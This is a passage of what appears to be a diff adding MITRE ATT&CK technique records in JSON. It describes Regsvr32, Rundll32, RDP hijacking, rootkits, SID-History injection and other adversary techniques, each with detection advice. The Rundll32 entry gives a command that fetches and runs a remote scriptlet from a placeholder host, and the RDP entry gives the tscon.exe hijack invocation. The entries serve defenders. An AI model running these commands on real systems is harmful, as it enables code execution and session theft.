activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_defense_bypassed": [ + "Process whitelisting", + "Anti-virus", + "Digital Certificate Validation" + ], + "id": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a", + "name": "Regsvr32", + "created": "2017-05-31T21:31:26.966Z", + "x_mitre_version": "1.1", + "x_mitre_remote_support": false, + "type": "attack-pattern", + "description": "Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.\n\nRegsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: SubTee Regsvr32 Whitelisting Bypass) This variation of the technique is often referred to as a \"Squiblydoo\" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016)", + "x_mitre_permissions_required": [ + "User", + "Administrator" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1219", + "source_name": "mitre-attack", + "external_id": "T1219" + }, + { + "url": "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf", + "source_name": "Symantec Living off the Land", + "description": "Wueest, C., Anand, H. (2017, July). Living off the land and fileless attack techniques. Retrieved April 10, 2018." + }, + { + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf", + "source_name": "CrowdStrike 2015 Global Threat Report", + "description": "CrowdStrike Intelligence. (2016). 2015 Global Threat Report. Retrieved April 11, 2018." + }, + { + "url": "https://blog.crysys.hu/2013/03/teamspy/", + "source_name": "CrySyS Blog TeamSpy", + "description": "CrySyS Lab. (2013, March 20). TeamSpy \u2013 Obshie manevri. Ispolzovat\u2019 tolko s razreshenija S-a. Retrieved April 11, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detection": "Monitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.\n\n[Domain Fronting](https://attack.mitre.org/techniques/T1172) may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions.", + "x_mitre_contributors": [ + "Matt Kelly, @breakersall" + ], + "x_mitre_data_sources": [ + "Network intrusion detection system", + "Network protocol analysis", + "Process use of network", + "Process monitoring" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_network_requirements": true, + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "command-and-control", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", + "name": "Remote Access Tools", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be whitelisted within a target environment. Remote access tools like VNC, Ammy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n\nRemote access tools may be established and used post-compromise as alternate communications channel for [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system.\n\nAdmin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns. (Citation: CrowdStrike 2015 Global Threat Report) (Citation: CrySyS Blog TeamSpy)", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1076", + "source_name": "mitre-attack", + "external_id": "T1076" + }, + { + "url": "https://capec.mitre.org/data/definitions/555.html", + "source_name": "capec", + "external_id": "CAPEC-555" + }, + { + "url": "http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/", + "source_name": "Alperovitch Malware", + "description": "Alperovitch, D. (2014, October 31). Malware-Free Intrusions. Retrieved November 4, 2014." + }, + { + "url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx", + "source_name": "TechNet Remote Desktop Services", + "description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016." + }, + { + "url": "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html", + "source_name": "RDP Hijacking Korznikov", + "description": "Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking Feature All Windows versions. Retrieved December 11, 2017." + }, + { + "url": "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6", + "source_name": "RDP Hijacking Medium", + "description": "Beaumont, K. (2017, March 19). RDP hijacking\u200a\u2014\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017." + }, + { + "url": "https://github.com/nccgroup/redsnarf", + "source_name": "Kali Redsnarf", + "description": "NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December 11, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Matthew Demaske, Adaptforward" + ], + "x_mitre_permissions_required": [ + "Remote Desktop Users", + "User" + ], + "x_mitre_data_sources": [ + "Authentication logs", + "Netflow/Enclave netflow", + "Process monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nAlso, set up process monitoring for tscon.exe usage and monitor service creation that uses cmd.exe /k or cmd.exe /c in its arguments to prevent RDP session hijacking.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "lateral-movement", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "name": "Remote Desktop Protocol", + "created": "2017-05-31T21:30:59.769Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access [Remote Services](https://attack.mitre.org/techniques/T1021) similar to RDS.\n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1015) technique for Persistence. (Citation: Alperovitch Malware)\n\nAdversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, c:\\windows\\system32\\tscon.exe [session number to be stolen], an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)", + "x_mitre_system_requirements": [ + "RDP service enabled, account in the Remote Desktop Users group." + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1105", + "source_name": "mitre-attack", + "external_id": "T1105" + }, + { + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detection": "Monitor for file creation and files transferred within a network over SMB. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious.\n\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "x_mitre_data_sources": [ + "File monitoring", + "Packet capture", + "Process use of network", + "Netflow/Enclave netflow", + "Network protocol analysis", + "Process monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_network_requirements": true, + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "command-and-control", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "lateral-movement", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "name": "Remote File Copy", + "created": "2017-05-31T21:31:16.408Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as [FTP](https://attack.mitre.org/software/S0095). Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.\n\nAdversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) or [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076).", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1021", + "source_name": "mitre-attack", + "external_id": "T1021" + }, + { + "url": "https://capec.mitre.org/data/definitions/555.html", + "source_name": "capec", + "external_id": "CAPEC-555" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_system_requirements": [ + "Active remote service accepting connections and valid credentials" + ], + "x_mitre_data_sources": [ + "Authentication logs" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "lateral-movement", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba", + "name": "Remote Services", + "created": "2017-05-31T21:30:29.858Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "An adversary may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user." + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1018", + "source_name": "mitre-attack", + "external_id": "T1018" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "RedHuntLabs (@redhuntlabs)" + ], + "x_mitre_data_sources": [ + "Network protocol analysis", + "Process monitoring", + "Process use of network", + "Process command-line parameters" + ], + "modified": "2019-04-18T17:28:03.428Z", + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "discovery", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "name": "Remote System Discovery", + "created": "2017-05-31T21:30:28.187Z", + "x_mitre_version": "1.1", + "type": "attack-pattern", + "description": "Adversaries will likely attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used. Adversaries may also use local host files in order to discover the hostname to IP address mappings of remote systems. \n\n### Windows\n\nExamples of tools and commands that acquire this information include \"ping\" or \"net view\" using [Net](https://attack.mitre.org/software/S0039). The contents of the C:\\Windows\\System32\\Drivers\\etc\\hosts file can be viewed to gain insight into the existing hostname to IP mappings on the system.\n\n### Mac\n\nSpecific to Mac, the bonjour protocol to discover additional Mac-based systems within the same broadcast domain. Utilities such as \"ping\" and others can be used to gather information about remote systems. The contents of the /etc/hosts file can be viewed to gain insight into existing hostname to IP mappings on the system.\n\n### Linux\n\nUtilities such as \"ping\" and others can be used to gather information about remote systems. The contents of the /etc/hosts file can be viewed to gain insight into existing hostname to IP mappings on the system.", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1091", + "source_name": "mitre-attack", + "external_id": "T1091" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_system_requirements": [ + "Removable media allowed, Autorun enabled or vulnerability present that allows for code execution" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Data loss prevention" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for Command and Control and system and network information Discovery.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "lateral-movement", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "initial-access", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", + "name": "Replication Through Removable Media", + "created": "2017-05-31T21:31:08.977Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "external_id": "T1496", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1496" + }, + { + "url": "https://securelist.com/lazarus-under-the-hood/77908/", + "source_name": "Kaspersky Lazarus Under The Hood Blog 2017", + "description": "GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Process use of network", + "Process monitoring", + "Network protocol analysis", + "Network device logs" + ], + "modified": "2019-04-26T15:26:57.896Z", + "x_mitre_detection": "Consider monitoring process resource usage to determine anomalous activity associated with malicious hijacking of computer resources such as CPU, memory, and graphics processing resources. Monitor for suspicious use of network resources associated with cryptocurrency mining software. Monitor for common cryptomining software process names and files on local systems that may indicate compromise and resource usage.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "impact", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_impact_type": [ + "Availability" + ], + "id": "attack-pattern--cd25c1b4-935c-4f0e-ba8d-552f28bc4783", + "name": "Resource Hijacking", + "created": "2019-04-17T14:50:05.682Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may leverage the resources of co-opted systems in order to solve resource intensive problems which may impact system and/or hosted service availability. \n\nOne common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining.", + "x_mitre_permissions_required": [ + "User", + "Administrator" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1014", + "source_name": "mitre-attack", + "external_id": "T1014" + }, + { + "url": "https://en.wikipedia.org/wiki/Rootkit", + "source_name": "Wikipedia Rootkit", + "description": "Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016." + }, + { + "url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/", + "source_name": "CrowdStrike Linux Rootkit", + "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017." + }, + { + "url": "http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf", + "source_name": "BlackHat Mac OSX Rootkit", + "description": "Pan, M., Tsai, S. (2014). You can\u2019t see me: A Mac OS X Rootkit uses the tricks you haven't known yet. Retrieved December 21, 2017." + }, + { + "url": "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf", + "source_name": "Symantec Windows Rootkits", + "description": "Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM", + "root" + ], + "x_mitre_data_sources": [ + "BIOS", + "MBR", + "System calls" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", + "name": "Rootkit", + "created": "2017-05-31T21:30:26.496Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Rootkits are programs that hide the existence of malware by intercepting (i.e., [Hooking](https://attack.mitre.org/techniques/T1179)) and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a [Hypervisor](https://attack.mitre.org/techniques/T1062), Master Boot Record, or the [System Firmware](https://attack.mitre.org/techniques/T1019). (Citation: Wikipedia Rootkit)\n\nAdversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)", + "x_mitre_defense_bypassed": [ + "File monitoring", + "Host intrusion prevention systems", + "Process whitelisting", + "Signature-based detection", + "System access controls", + "Whitelisting by file name or path", + "Anti-virus" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1085", + "source_name": "mitre-attack", + "external_id": "T1085" + }, + { + "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf", + "source_name": "Trend Micro CPL", + "description": "Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017." + }, + { + "url": "https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/", + "source_name": "This is Security Command Line Confusion", + "description": "B. Ancel. (2014, August 20). Poweliks \u2013 Command Line Confusion. Retrieved March 5, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Ricardo Dias", + "Casey Smith" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters", + "Binary file metadata" + ], + "modified": "2019-01-31T01:30:34.695Z", + "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Application whitelisting", + "Digital Certificate Validation" + ], + "id": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "name": "Rundll32", + "created": "2017-05-31T21:31:06.045Z", + "x_mitre_version": "1.1", + "x_mitre_remote_support": false, + "type": "attack-pattern", + "description": "The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nRundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "external_id": "T1494", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1494" + }, + { + "url": "https://content.fireeye.com/apt/rpt-apt38", + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018." + }, + { + "url": "https://www.justice.gov/opa/press-release/file/1092091/download", + "source_name": "DOJ Lazarus Sony 2018", + "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring" + ], + "modified": "2019-04-26T18:45:17.119Z", + "x_mitre_detection": "Inspect important application binary file hashes, locations, and modifications for suspicious/unexpected values.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "impact", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_impact_type": [ + "Integrity" + ], + "id": "attack-pattern--ca205a36-c1ad-488b-aa6c-ab34bdd3a36b", + "name": "Runtime Data Manipulation", + "created": "2019-04-09T16:09:22.173Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nAdversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1042) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "root", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1178", + "source_name": "mitre-attack", + "external_id": "T1178" + }, + { + "url": "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx", + "source_name": "Microsoft SID", + "description": "Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017." + }, + { + "url": "https://msdn.microsoft.com/library/ms679833.aspx", + "source_name": "Microsoft SID-History Attribute", + "description": "Microsoft. (n.d.). Active Directory Schema - SID-History attribute. Retrieved November 30, 2017." + }, + { + "url": "https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems", + "source_name": "Microsoft Well Known SIDs Jun 2017", + "description": "Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017." + }, + { + "url": "https://technet.microsoft.com/library/ee617241.aspx", + "source_name": "Microsoft Get-ADUser", + "description": "Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved November 30, 2017." + }, + { + "url": "https://adsecurity.org/?p=1772", + "source_name": "AdSecurity SID History Sept 2015", + "description": "Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017." + }, + { + "url": "https://msdn.microsoft.com/library/ms677982.aspx", + "source_name": "Microsoft DsAddSidHistory", + "description": "Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November 30, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Vincent Le Toux", + "Alain Homewood, Insomnia Security" + ], + "x_mitre_data_sources": [ + "API monitoring", + "Authentication logs", + "Windows event logs" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Examine data in user\u2019s SID-History attributes using the PowerShell Get-ADUser Cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015)\n\nMonitor Account Management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)\n\nMonitor Windows API calls to the DsAddSidHistory function. (Citation: Microsoft DsAddSidHistory)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "privilege-escalation", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--1df0326d-2fbc-4d08-a16b-48365f1e742d", + "name": "SID-History Injection", + "created": "2018-01-16T16:13:52.465Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nAdversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [Windows Admin Shares](https://attack.mitre.org/techniques/T1077), or [Windows Remote Management](https://attack.mitre.org/techniques/T1028).", + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": 